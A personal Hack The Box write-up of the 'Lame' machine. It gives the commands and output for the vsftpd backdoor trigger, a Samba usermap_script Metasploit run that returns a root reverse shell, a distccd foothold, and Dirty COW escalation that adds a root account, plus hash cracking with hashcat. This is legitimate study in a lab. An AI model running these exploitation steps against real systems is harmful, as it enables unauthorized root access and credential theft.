- This is my take (write up) on the HTB machine known as Lame (legacy).
distccdis vulnerable and will pop a low (service) user shell;
- The kernel is vulnerable to the "dirty cow" exploit;
- I used the
uploadcommand built into the Metasploit reverse shell to upload the
- I used
gcc -pthread cow.c -o dirty -lcryptto compile to a binary;
- I executed
./dirtyand a new user (
firefart) was created in
/etc/passwd, for which I set the password using the prompt from
- I was then able to
ssh firefart@$IPand gain a root shell;
The obvious first step is to get some intel on the target. We start with
nmap, but in the PEH course Heath talks about
massscan. It'll be interesting to see how it compares to
nmap later on.
$ nmap -A -T4 -p- -Pn 10.129.145.16
I had to use thr
-Pn flag because
nmap kept seeing the system as down all the time. This might be because I'm using a UDP VPN connection to HTB, but I'd have to test that.
Here are the results I got:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-02 10:26 AEST Nmap scan report for 10.129.145.16 Host is up (0.23s latency). Not shown: 65530 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.91 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 2h00m23s, deviation: 2h49m44s, median: 21s | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: lame | NetBIOS computer name: | Domain name: hackthebox.gr | FQDN: lame.hackthebox.gr |_ System time: 2021-05-01T20:35:22-04:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 538.19 seconds
here is how I broke these down...
Here we get the following information on this service:
|_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.91 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status
From this we know a few things:
- It's running version
- It allows for anonymous logins
It turned out that the
anonymous/anonymous login couldn't see any files and couldn't write them neither. This is odd, because not only does the
vsftpd.conf file allow anonymous access, it permits writing via
write_enabled=YES. It even has
anon_upload_enable=YES as well. I decided I was missing something and moved on for now...
According to research, there is a literal backdoor that was added to
vsftpd some time ago (lol!) It was added and removed pretty quickly, but of course it's present in this version due to the nature of the system. However...
Using Metasploit didn't work for me:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run [*] 10.129.145.16:21 - Banner: 220 (vsFTPd 2.3.4) [*] 10.129.145.16:21 - USER: 331 Please specify the password. [*] Exploit completed, but no session was created. msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
I was unable to think why this would fail, so I took the manual approach thanks to what was documented here: https://www.hackingtutorials.org/metasploit-tutorials/exploiting-vsftpd-metasploitable/
$ telnet 10.129.145.16 21 Trying 10.129.145.16... Connected to 10.129.145.16. Escape character is '^]'. 220 (vsFTPd 2.3.4) USER user:) 331 Please specify the password. PASS pass Connection closed by foreign host. $ nmap -p 6200 -Pn 10.129.145.16 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-02 16:55 AEST Nmap scan report for 10.129.145.16 Host is up. PORT STATE SERVICE 6200/tcp filtered lm-x Nmap done: 1 IP address (1 host up) scanned in 2.05 seconds $ telnet 10.129.145.16 6200 Trying 10.129.145.16... whoami telnet: Unable to connect to remote host: Connection timed out
So the exploit worked as the port was opened, but for some reason I'm unable to get across to it. I'm unsure why and in the interest of making progress and continuing my studies, I decided not to delve too deeply into this.
I tend to ignore and leave SSH alone. Password spraying and brute forcing on an option, but given the nature of the system we're attacking (it has other vulns) I just move on to other options.
This is a very common service, but some basic enumeration yielded... nothing. Using
smbclient I was able to get some results from the service...
$ smbclient -L 10.129.145.16 Enter WORKGROUP\superman's password: Anonymous login successful Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian)) Reconnecting with SMB1 for workgroup listing. Anonymous login successful Server Comment --------- ------- Workgroup Master --------- ------- WORKGROUP LAME
The "oh noes!" comment for the
tmp share is a bit of a laugh, but I was unable to make any use of it:
$ smbclient \\\\10.129.145.16\\tmp Enter WORKGROUP\superman's password: Anonymous login successful Try "help" to get a list of possible commands. smb: \> put /home/superman/htb-challenges/machines/lame/dirty-cow.c NT_STATUS_OBJECT_PATH_NOT_FOUND opening remote file \home\superman\htb-challenges\machines\lame\dirty-cow.c smb: \> pwd Current directory is \\10.129.145.16\tmp\ smb: \> put /home/superman/htb-challenges/machines/lame/dirty-cow.c /tmp/cow.c NT_STATUS_OBJECT_PATH_NOT_FOUND opening remote file \tmp\cow.c
I even tried cURL:
$ curl --upload-file /home/superman/htb-challenges/machines/lame/dirty-cow.c --user "guest:guest" smb://10.129.145.16/tmp/ % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 curl: (67) Login denied
Perhaps I'm missing something?
Exploiting SMB was actually really simply. There's a reason these particular machines are labelled easy.
A quick bit of searching for
smb 3.0.20 yielded an exploit from Rapid7, thus it was already built into Metasploit and the whole thing becomes easy:
msf6 exploit(multi/samba/usermap_script) > exploit [*] Started reverse TCP handler on 10.10.14.91:4444 [*] Command shell session 1 opened (10.10.14.91:4444 -> 10.129.145.16:56889) at 2021-05-02 13:19:14 +1000 whoami root hostname lame
THAT easy... and we have root. At this point we have both flags, but this wasn't enough for me. I wanted to hit the final service on the list:
This is where the fun really began for me.
I found an exploit for
distccd, which is a distributed C/C++ compiler, easily enough. A quick Google should see you right. Once I'd executed the exploit I had a shell... but it was a lower user shell. And it was a service account, too.
An important lesson I've learned so far is: try and find as many exploits as you can. Don't just get the flags and run.
So I did just that.
Once I had the
user.txt flag, I did some research (I Googled) on "linux privilege escalation". The first piece of advice was "kernel exploitation", so I started there. My research pulled up the "Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)" - what a mouth full.
Using the built in
upload functionality of reverse shells that Metasploit creates for us, I was able to get the
dirty.c file onto the remote server:
upload dirty.c /tmp/dirty.c [*] File <dirty.c> size: 5006, need 20 times writes to upload [*] Uploading (256/5006) [*] Uploading (512/5006) [*] Uploading (768/5006) [*] Uploading (1024/5006) [*] Uploading (1280/5006) [*] Uploading (1536/5006) [*] Uploading (1792/5006) [*] Uploading (2048/5006) [*] Uploading (2304/5006) [*] Uploading (2560/5006) [*] Uploading (2816/5006) [*] Uploading (3072/5006) [*] Uploading (3328/5006) [*] Uploading (3584/5006) [*] Uploading (3840/5006) [*] Uploading (4096/5006) [*] Uploading (4352/5006) [*] Uploading (4608/5006) [*] Uploading (4864/5006) [*] Uploading (5120/5006)
Next I was able to compile it due to the fact the box had everything needed. This is called "living of the land" and it essentially means using what you have available to you and nothing else.
gcc -pthread dirty.c -o dirty -lcrypt
Then I used the exploit to introduce a new user,
firefart (the default) to the system:
./dirty Please enter the new password: boobies
(... I know. I know.)
After that I could see the new user:
getent passwd ... firefart:fiTLAWIYH5zPQ:0:0:pwned:/root:/bin/bash ...
And I could SSH into the system, gaining a root shell:
$ ssh firstname.lastname@example.org email@example.com's password: Last login: Sun May 2 01:57:27 2021 from 10.10.14.91 Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ firefart@lame:~#
Although in this post I didn't explore every option, this is because I had already exploited other options on the system before today. What I wanted to document here was the fact I was able to escalate my privileges manually.
I also took a stab at using
hashcat on the passwords. From this small exercise I learned of a tool called
unshadow that will merge
/etc/shadow together for you. My execution of
hashcat was able to find four of the six hashes that were applicable (that had password hashes.) The findings weren't that useful at this point.
It's also worth noting there are no other IPs on this host so pivoting isn't an option.
I've included a link to my CherryTree notes file for this particular exercise. I hope they're useful.